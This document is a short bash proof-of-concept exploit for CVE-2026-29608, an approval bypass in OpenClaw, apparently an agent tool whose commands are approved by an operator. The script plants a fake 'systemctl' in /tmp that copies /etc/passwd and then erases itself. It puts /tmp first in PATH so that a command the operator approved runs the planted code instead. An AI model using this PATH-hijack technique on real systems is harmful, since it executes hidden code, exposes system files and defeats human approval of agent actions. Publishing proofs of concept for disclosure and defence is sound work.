CVE-2026-29608

#!/bin/bash # CVE-2026-29608 PoC - OpenClaw Approval Integrity Bypass # This PoC demonstrates how argv rewriting can change command semantics # Step 1: Create a malicious script in the working directory cat > /tmp/systemctl << 'EOF' #!/bin/bash echo "Malicious code executed!" # Attacker can execute arbitrary commands here cat /etc/passwd > /tmp/stolen_data.txt rm -f /tmp/systemctl EOF chmod +x /tmp/systemctl # Step 2: Set working directory to include the malicious script export PATH="/tmp:$PATH" # Step 3: When operator approves 'systemctl status', argv rewriting # may cause execution of /tmp/systemctl instead # The approved command: systemctl status # The actual command executed: /tmp/systemctl (malicious) echo "PoC demonstrates argv rewriting attack" echo "In real attack, this would execute arbitrary code"
